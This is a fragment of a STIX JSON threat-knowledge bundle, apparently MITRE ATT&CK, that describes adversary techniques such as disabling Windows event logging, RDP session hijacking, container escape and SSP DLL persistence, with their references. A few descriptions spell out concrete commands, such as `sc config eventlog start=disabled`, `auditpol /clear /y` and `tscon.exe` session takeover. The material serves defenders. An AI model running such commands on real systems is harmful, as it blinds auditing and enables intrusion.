            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows"
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            "x_mitre_version": "2.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--4a2975db-414e-4c0c-bd92-775987514b4b",
            "created": "2023-08-24T17:23:34.470Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1564/011",
                    "external_id": "T1564.011"
                },
                {
                    "source_name": "Linux Signal Man",
                    "description": "Linux man-pages. (2023, April 3). signal(7). Retrieved August 30, 2023.",
                    "url": "https://man7.org/linux/man-pages/man7/signal.7.html"
                },
                {
                    "source_name": "nohup Linux Man",
                    "description": "Meyering, J. (n.d.). nohup(1). Retrieved August 30, 2023.",
                    "url": "https://linux.die.net/man/1/nohup"
                },
                {
                    "source_name": "Microsoft PowerShell SilentlyContinue",
                    "description": "Microsoft. (2023, March 2). $DebugPreference. Retrieved August 30, 2023.",
                    "url": "https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_preference_variables?view=powershell-7.3#debugpreference"
                }
            ],
            "object_marking_refs": [
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            "modified": "2026-05-12T15:12:00.630Z",
            "name": "Ignore Process Interrupts",
            "description": "Adversaries may evade defensive mechanisms by executing commands that hide from process interrupt signals. Many operating systems use signals to deliver messages to control process behavior. Command interpreters often include specific commands/flags that ignore errors and other hangups, such as when the user of the active session logs off.(Citation: Linux Signal Man)  These interrupt signals may also be used by defensive tools and/or analysts to pause or terminate specified running processes. \n\nAdversaries may invoke processes using `nohup`, [PowerShell](https://attack.mitre.org/techniques/T1059/001) `-ErrorAction SilentlyContinue`, or similar commands that may be immune to hangups.(Citation: nohup Linux Man)(Citation: Microsoft PowerShell SilentlyContinue) This may enable malicious commands and malware to continue execution through system events that would otherwise terminate its execution, such as users logging off or the termination of its C2 network connection.\n\nHiding from process interrupt signals may allow malware to continue execution, but unlike [Trap](https://attack.mitre.org/techniques/T1546/005) this does not establish [Persistence](https://attack.mitre.org/tactics/TA0003) since the process will not be re-invoked once actually terminated.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "stealth"
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            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
                "Viren Chaudhari, Qualys"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows"
            ],
            "x_mitre_version": "2.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665",
            "created": "2021-03-30T17:38:34.277Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1611",
                    "external_id": "T1611"
                },
                {
                    "source_name": "Container Escape",
                    "description": "0xn3va. (n.d.). Escaping. Retrieved May 27, 2022.",
                    "url": "https://0xn3va.gitbook.io/cheat-sheets/container/escaping"
                },
                {
                    "source_name": "Broadcom VMSA-2025-004",
                    "description": "Broadcom. (2025, March 6). VMSA-2025-0004: Questions & Answers. Retrieved March 26, 2025.",
                    "url": "https://github.com/vmware/vcf-security-and-compliance-guidelines/tree/main/security-advisories/vmsa-2025-0004"
                },
                {
                    "source_name": "Windows Server Containers Are Open",
                    "description": "Daniel Prizmant. (2020, July 15). Windows Server Containers Are Open, and Here's How You Can Break Out. Retrieved October 1, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/windows-server-containers-vulnerabilities/"
                },
                {
                    "source_name": "Docker Overview",
                    "description": "Docker. (n.d.). Docker Overview. Retrieved March 30, 2021.",
                    "url": "https://docs.docker.com/get-started/overview/"
                },
                {
                    "source_name": "Docker Bind Mounts",
                    "description": "Docker. (n.d.). Use Bind Mounts. Retrieved March 30, 2021.",
                    "url": "https://docs.docker.com/storage/bind-mounts/"
                },
                {
                    "source_name": "Trend Micro Privileged Container",
                    "description": "Fiser, D., Oliveira, A.. (2019, December 20). Why a Privileged Container in Docker is a Bad Idea. Retrieved March 30, 2021.",
                    "url": "https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html"
                },
                {
                    "source_name": "Intezer Doki July 20",
                    "description": "Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021.",
                    "url": "https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/"
                },
                {
                    "source_name": "Crowdstrike Kubernetes Container Escape",
                    "description": "Manoj Ahuje. (2022, January 31). CVE-2022-0185: Kubernetes Container Escape Using Linux Kernel Exploit. Retrieved July 6, 2022.",
                    "url": "https://www.crowdstrike.com/blog/cve-2022-0185-kubernetes-container-escape-using-linux-kernel-exploit/"
                },
                {
                    "source_name": "Keyctl-unmask",
                    "description": "Mark Manning. (2020, July 23). Keyctl-unmask: \"Going Florida\" on The State Of Containerizing Linux Keyrings. Retrieved July 6, 2022.",
                    "url": "https://www.antitree.com/2020/07/keyctl-unmask-going-florida-on-the-state-of-containerizing-linux-keyrings/"
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                    "source_name": "Symantec Play Ransomware 2023",
                    "description": "Symantec Threat Hunter Team. (2023, April 19). Play Ransomware Group Using New Custom Data-Gathering Tools. Retrieved May 22, 2025.",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                    "source_name": "ISACA Malware Tricks",
                    "description": "Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.",
                    "url": "https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes"
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                    "source_name": "Elastic Process Injection July 2017",
                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
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                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
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                    "source_name": "Sysinternals AppCertDlls Oct 2007",
                    "description": "Microsoft. (2007, October 24). Windows Sysinternals - AppCertDlls. Retrieved December 18, 2017.",
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                    "source_name": "Twitter CMSTP Usage Jan 2018",
                    "description": "Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved September 12, 2024.",
                    "url": "https://x.com/ItsReallyNick/status/958789644165894146"
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                    "source_name": "Microsoft Connection Manager Oct 2009",
                    "description": "Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.",
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                    "source_name": "MSitPros CMSTP Aug 2017",
                    "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.",
                    "url": "https://msitpros.com/?p=3960"
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                    "source_name": "GitHub Ultimate AppLocker Bypass List",
                    "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.",
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                    "source_name": "Endurant CMSTP July 2018",
                    "description": "Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20190316220149/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/"
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                    "source_name": "Twitter CMSTP Jan 2018",
                    "description": "Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved September 12, 2024.",
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                    "source_name": "SSHjack Blackhat",
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                    "description": "Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.",
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                    "source_name": "Breach Post-mortem SSH Hijack",
                    "description": "Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved November 17, 2024.",
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                    "description": "Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.",
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                    "description": "redcanaryco. (2021, September 3). T1562.002 - Disable Windows Event Logging. Retrieved September 13, 2021.",
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                    "source_name": "Advanced_sec_audit_policy_settings",
                    "description": "Simpson, D. et al. (2017, April 19). Advanced security audit policy settings. Retrieved September 14, 2021.",
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                    "description": "STRONTIC. (n.d.). auditpol.exe. Retrieved September 9, 2021.",
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            "description": "Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to <code>Security Settings\\Local Policies\\Audit Policy</code> for basic audit policy settings or <code>Security Settings\\Advanced Audit Policy Configuration</code> for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) <code>auditpol.exe</code> may also be used to set audit policies.(Citation: auditpol)\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the <code>Set-Service -Name EventLog -Status Stopped</code> or <code>sc config eventlog start=disabled</code> commands (followed by manually stopping the service using <code>Stop-Service  -Name EventLog</code>).(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging) Additionally, the service may be disabled by modifying the \u201cStart\u201d value in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog</code> then restarting the system for the change to take effect.(Citation: disable_win_evt_logging)\n\nThere are several ways to disable the EventLog service via registry key modification. First, without Administrator privileges, adversaries may modify the \"Start\" value in the key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Security</code>, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) Second, with Administrator privilege, adversaries may modify the same values in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-System</code> and <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application</code> to disable the entire EventLog.(Citation: disable_win_evt_logging)\n\nAdditionally, adversaries may use <code>auditpol</code> and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the <code>/success</code> or <code>/failure</code> parameters. For example, <code>auditpol /set /category:\u201dAccount Logon\u201d /success:disable /failure:disable</code> turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: <code>auditpol /clear /y</code> or <code>auditpol /remove /allusers</code>.(Citation: T1562.002_redcanaryco)\n\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.",
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                    "source_name": "Windows Event Forwarding Payne",
                    "description": "Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.",
                    "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem"
                },
                {
                    "source_name": "Lateral Movement Payne",
                    "description": "Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.",
                    "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts"
                },
                {
                    "source_name": "Wikipedia Server Message Block",
                    "description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.",
                    "url": "https://en.wikipedia.org/wiki/Server_Message_Block"
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            "name": "SMB/Windows Admin Shares",
            "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with a remote network share using Server Message Block (SMB). The adversary may then perform actions as the logged-on user.\n\nSMB is a file, printer, and serial port sharing protocol for Windows machines on the same network or domain. Adversaries may use SMB to interact with file shares, allowing them to move laterally throughout a network. Linux and macOS implementations of SMB typically use Samba.\n\nWindows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include `C$`, `ADMIN$`, and `IPC$`. Adversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over SMB,(Citation: Wikipedia Server Message Block) to interact with systems using remote procedure calls (RPCs),(Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) and certain configuration and patch levels.(Citation: Microsoft Admin Shares)",
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            "created": "2019-09-04T12:04:03.552Z",
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                    "url": "https://attack.mitre.org/techniques/T1525",
                    "external_id": "T1525"
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                {
                    "source_name": "Rhino Labs Cloud Image Backdoor Technique Sept 2019",
                    "description": "Rhino Labs. (2019, August). Exploiting AWS ECR and ECS with the Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.",
                    "url": "https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/"
                },
                {
                    "source_name": "Rhino Labs Cloud Backdoor September 2019",
                    "description": "Rhino Labs. (2019, September). Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.",
                    "url": "https://github.com/RhinoSecurityLabs/ccat"
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            "name": "Implant Internal Image",
            "description": "Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim\u2019s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an adversary has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1572",
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                {
                    "source_name": "Sygnia Abyss Locker 2025",
                    "description": "Abigail See, Zhongyuan (Aaron) Hau, Ren Jie Yow, Yoav Mazor, Omer Kidron, and Oren Biderman. (2025, February 4). The Anatomy of Abyss Locker Ransomware Attack. Retrieved April 4, 2025.",
                    "url": "https://www.sygnia.co/blog/abyss-locker-ransomware-attack-analysis/"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                },
                {
                    "source_name": "BleepingComp Godlua JUL19",
                    "description": "Gatlan, S. (2019, July 3). New Godlua Malware Evades Traffic Monitoring via DNS over HTTPS. Retrieved March 15, 2020.",
                    "url": "https://www.bleepingcomputer.com/news/security/new-godlua-malware-evades-traffic-monitoring-via-dns-over-https/"
                },
                {
                    "source_name": "SSH Tunneling",
                    "description": "SSH.COM. (n.d.). SSH tunnel. Retrieved March 15, 2020.",
                    "url": "https://www.ssh.com/ssh/tunneling"
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            "created": "2020-01-23T19:59:52.630Z",
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                    "url": "https://attack.mitre.org/techniques/T1218/002",
                    "external_id": "T1218.002"
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                {
                    "source_name": "TrendMicro CPL Malware Dec 2013",
                    "description": "Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/"
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                {
                    "source_name": "Palo Alto Reaver Nov 2017",
                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
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                {
                    "source_name": "ESET InvisiMole June 2020",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
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                {
                    "source_name": "Microsoft Implementing CPL",
                    "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"
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                {
                    "source_name": "TrendMicro CPL Malware Jan 2014",
                    "description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.",
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
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            "description": "Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\n\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a <code>CPlApplet</code> function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\n\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls</code>. Even when these registered DLLs do not comply with the CPL file specification and do not export <code>CPlApplet</code> functions, they are loaded and executed through its <code>DllEntryPoint</code> when Control Panel is executed. CPL files not exporting <code>CPlApplet</code> are not directly executable.(Citation: ESET InvisiMole June 2020)",
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                    "url": "https://attack.mitre.org/techniques/T1599/001",
                    "external_id": "T1599.001"
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                {
                    "source_name": "RFC1918",
                    "description": "IETF Network Working Group. (1996, February). Address Allocation for Private Internets. Retrieved October 20, 2020.",
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            "name": "Network Address Translation Traversal",
            "description": "Adversaries may bridge network boundaries by modifying a network device\u2019s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nNetwork devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device.  A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)\n\nWhen an adversary gains control of a network boundary device, they may modify NAT configurations to send traffic between two separated networks, or to obscure their activities.  In network designs that require NAT to function, such modifications enable the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device.  In network designs that do not require NAT, adversaries may use address translation to further obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring data transmissions more challenging for defenders.  \n\nAdversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities.",
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                    "external_id": "T1608.002"
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                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
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                {
                    "source_name": "Malwarebytes Heroku Skimmers",
                    "description": "J\u00e9r\u00f4me Segura. (2019, December 4). There's an app for that: web skimmers found on PaaS Heroku. Retrieved August 18, 2022.",
                    "url": "https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku"
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                    "source_name": "Dragos Heroku Watering Hole",
                    "description": "Kent Backman. (2021, May 18). When Intrusions Don\u2019t Align: A New Water Watering Hole and Oldsmar. Retrieved August 18, 2022.",
                    "url": "https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/"
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                {
                    "source_name": "Intezer App Service Phishing",
                    "description": "Paul Litvak. (2020, October 8). Kud I Enter Your Server? New Vulnerabilities in Microsoft Azure. Retrieved August 18, 2022.",
                    "url": "https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/"
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            "description": "Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nTools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications.(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Intezer App Service Phishing)\n\nAdversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.",
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                    "url": "https://attack.mitre.org/techniques/T1547/005",
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                    "source_name": "Graeber 2014",
                    "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.",
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                    "source_name": "Microsoft Configure LSA",
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            "description": "Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.\n\nThe SSP configuration is stored in two Registry keys: <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages</code> and <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages</code>. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)",
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                    "external_id": "T1036.011"
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                {
                    "source_name": "Microsoft XorDdos Linux Stealth 2022",
                    "description": "Ratnesh Pandey, Yevgeny Kulakov, and Jonathan Bar Or with Saurabh Swaroop. (2022, May 19). Rise in XorDdos: A deeper look at the stealthy DDoS malware targeting Linux devices. Retrieved September 27, 2023.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2022/05/19/rise-in-xorddos-a-deeper-look-at-the-stealthy-ddos-malware-targeting-linux-devices/"
                },
                {
                    "source_name": "Sandfly BPFDoor 2022",
                    "description": "The Sandfly Security Team. (2022, May 11). BPFDoor - An Evasive Linux Backdoor Technical Analysis. Retrieved September 29, 2023.",
                    "url": "https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/"
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            "modified": "2026-05-12T15:12:00.632Z",
            "name": "Overwrite Process Arguments",
            "description": "Adversaries may modify a process's in-memory arguments to change its name in order to appear as a legitimate or benign process. On Linux, the operating system stores command-line arguments in the process\u2019s stack and passes them to the `main()` function as the `argv` array. The first element, `argv[0]`, typically contains the process name or path - by default, the command used to actually start the process (e.g., `cat /etc/passwd`). By default, the Linux `/proc` filesystem uses this value to represent the process name. The `/proc/<PID>/cmdline` file reflects the contents of this memory, and tools like `ps` use it to display process information. Since arguments are stored in user-space memory at launch, this modification can be performed without elevated privileges. \n\nDuring runtime, adversaries can erase the memory used by all command-line arguments for a process, overwriting each argument string with null bytes. This removes evidence of how the process was originally launched. They can then write a spoofed string into the memory region previously occupied by `argv[0]` to mimic a benign command, such as `cat resolv.conf`. The new command-line string is reflected in `/proc/<PID>/cmdline` and displayed by tools like `ps`.(Citation: Sandfly BPFDoor 2022)(Citation: Microsoft XorDdos Linux Stealth 2022) ",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1004",
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                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/579.html",
                    "external_id": "CAPEC-579"
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                {
                    "source_name": "Cylance Reg Persistence Sept 2013",
                    "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.",
                    "url": "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order"
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                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
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                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/572.html",
                    "external_id": "CAPEC-572"
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                {
                    "source_name": "ESET OceanLotus",
                    "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
                    "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"
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                    "source_name": "Securelist Malware Tricks April 2017",
                    "description": "Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019.",
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                {
                    "source_name": "VirusTotal FAQ",
                    "description": "VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.",
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                    "url": "https://attack.mitre.org/techniques/T1550",
                    "external_id": "T1550"
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                    "source_name": "NIST Authentication",
                    "description": "NIST. (n.d.). Authentication. Retrieved January 30, 2020.",
                    "url": "https://csrc.nist.gov/glossary/term/authentication"
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                    "source_name": "NIST MFA",
                    "description": "NIST. (n.d.). Multi-Factor Authentication (MFA). Retrieved September 25, 2024.",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1076",
                    "external_id": "T1076"
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                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/555.html",
                    "external_id": "CAPEC-555"
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                {
                    "source_name": "TechNet Remote Desktop Services",
                    "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.",
                    "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"
                },
                {
                    "source_name": "Alperovitch Malware",
                    "description": "Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.",
                    "url": "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/"
                },
                {
                    "source_name": "RDP Hijacking Korznikov",
                    "description": "Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.",
                    "url": "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html"
                },
                {
                    "source_name": "RDP Hijacking Medium",
                    "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.",
                    "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6"
                },
                {
                    "source_name": "Kali Redsnarf",
                    "description": "NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.",
                    "url": "https://github.com/nccgroup/redsnarf"
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            "modified": "2025-10-24T17:48:46.864Z",
            "name": "Remote Desktop Protocol",
            "description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware)\n\nAdversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, <code>c:\\windows\\system32\\tscon.exe [session number to be stolen]</code>, an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege 